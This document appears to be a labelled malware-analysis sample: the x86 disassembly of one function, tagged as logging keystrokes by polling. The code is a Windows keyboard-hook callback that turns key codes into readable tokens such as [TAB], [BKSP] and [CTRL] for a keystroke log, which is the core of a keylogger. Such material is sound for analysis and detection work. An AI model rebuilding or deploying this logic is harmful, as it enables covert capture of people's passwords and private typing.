Function at 0x874d5
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
mov eax, edx
mov ebx, ecx
push esi
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
push edi
mov edi, dword [ebp + 8]
sub eax, 0x100
je 0x874fb
sub eax, 4
jne case.default.0x87528
mov esi, dword [edi]
cmp esi, 0x27
jb 0x875ae
cmp esi, 0x40
ja 0x875b3
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x87593
add esi, 0xffffffd0
cmp esi, 9
ja case.default.0x87528
jmp dword [esi*4 + 0x87921]
mov ecx, str.______
jmp 0x87906
mov ecx, 0x927e8
jmp 0x87906
mov ecx, 0x927ec
jmp 0x87906
mov ecx, 0x927f0
jmp 0x87906
mov ecx, 0x927f4
jmp 0x87906
mov ecx, 0x927f8
jmp 0x87906
mov ecx, 0x927fc
jmp 0x87906
mov ecx, 0x92800
jmp 0x87906
mov ecx, 0x92748
jmp 0x87906
mov ecx, 0x92804
jmp 0x87906
push esi
lea eax, [ebp - 0x14]
push 0x92808
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x14]
jmp 0x87906
cmp esi, 0x40
jbe 0x875ff
cmp esi, 0x5b
jae 0x875ff
call fcn.0008795b
push 0x10
mov bl, al
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
mov dl, bl
setne cl
call fcn.00087949
test al, al
lea ecx, [esi + 0x20]
lea eax, [ebp - 0x14]
cmovne ecx, esi
push ecx
push 0x92808
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x14]
call fcn.00087966
mov ebx, dword [ebp - 4]
jmp case.default.0x87528
cmp esi, 0x66
ja 0x8771d
je 0x87713
cmp esi, 0x20
ja 0x87691
je 0x87687
cmp esi, 0x11
ja 0x8765b
je 0x87781
sub esi, 8
je 0x87651
sub esi, 1
je 0x87647
sub esi, 4
je 0x8763d
sub esi, 3
je case.default.0x87528
jmp 0x878a2
mov ecx, 0x92814
jmp 0x87906
mov ecx, str._TAB_
jmp 0x87906
mov ecx, str._BKSP_
jmp 0x87906
sub esi, 0x12
je 0x877d8
dec esi
sub esi, 1
je 0x8767d
sub esi, 7
jne 0x878a2
mov ecx, str._ESC_
jmp 0x87906
mov ecx, str._CAPS_
jmp 0x87906
mov ecx, 0x92810
jmp 0x87906
cmp esi, 0x62
ja 0x876e2
je 0x876d8
sub esi, 0x2d
je 0x876ce
sub esi, 1
je 0x876c4
sub esi, 0x32
je 0x876ba
sub esi, 1
jne 0x878a2
mov ecx, 0x928a0
jmp 0x87906
mov ecx, str.0123456789_________.:___
jmp 0x87906
mov ecx, str._DEL_
jmp 0x87906
mov ecx, str._INSERT_
jmp 0x87906
mov ecx, 0x928a4
jmp 0x87906
sub esi, 0x63
je 0x87709
sub esi, 1
je 0x876ff
sub esi, 1
jne 0x878a2
mov ecx, 0x928b0
jmp 0x87906
mov ecx, 0x928ac
jmp 0x87906
mov ecx, 0x928a8
jmp 0x87906
mov ecx, 0x928b4
jmp 0x87906
mov eax, 0xbc
cmp esi, eax
ja 0x877f6
je 0x877e2
cmp esi, 0xa3
ja 0x8778b
cmp esi, 0xa2
jae 0x87781
cmp esi, 0x67
je 0x87777
cmp esi, 0x68
je 0x8776d
cmp esi, 0x69
je 0x87763
lea eax, [esi - 0xa0]
cmp eax, 1
ja 0x878a2
jmp case.default.0x87528
mov ecx, 0x928c0
jmp 0x87906
mov ecx, 0x928bc
jmp 0x87906
mov ecx, 0x928b8
jmp 0x87906
mov ecx, str._CTRL_
jmp 0x87906
cmp esi, 0xa5
jbe 0x877d8
cmp esi, 0xba
je 0x877c4
cmp esi, 0xbb
jne 0x878a2
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x92908
mov edx, 0x9290c
test ax, ax
cmove ecx, edx
jmp 0x87906
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x928f8
mov edx, 0x928fc
jmp 0x877b9
mov ecx, str._ALT_
jmp 0x87906
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x928e8
mov edx, 0x928ec
jmp 0x877b9
mov eax, 0xdb
cmp esi, eax
ja 0x87890
je 0x87879
sub esi, 0xbd
je 0x87862
sub esi, 1
je 0x8784b
sub esi, 1
je 0x87834
sub esi, 1
jne 0x878a2
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x928cc
mov edx, 0x928d0
jmp 0x877b9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x928c4
mov edx, 0x928c8
jmp 0x877b9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x928f0
mov edx, 0x928f4
jmp 0x877b9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x92900
mov edx, 0x92904
jmp 0x877b9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x927c8
mov edx, 0x928d4
jmp 0x877b9
sub esi, 0xdc
je 0x878ef
sub esi, 1
je 0x878d8
sub esi, 1
je 0x878c1
push 0xf
lea eax, [ebp - 0x34]
push eax
mov eax, dword [edi + 8]
shl eax, 8
add eax, dword [edi + 4]
shl eax, 0x10
inc eax
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
lea ecx, [ebp - 0x34]
jmp 0x87906
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x928e0
mov edx, 0x928e4
jmp 0x877b9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x927cc
mov edx, 0x928dc
jmp 0x877b9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x928d8
test ax, ax
jne 0x87906
mov ecx, 0x92464
call fcn.00087966
push edi
push dword [ebp - 8]
push ebx
push 0
call dword [sym.imp.USER32.dll_CallNextHookEx]
pop edi
pop esi
pop ebx
leave
ret 4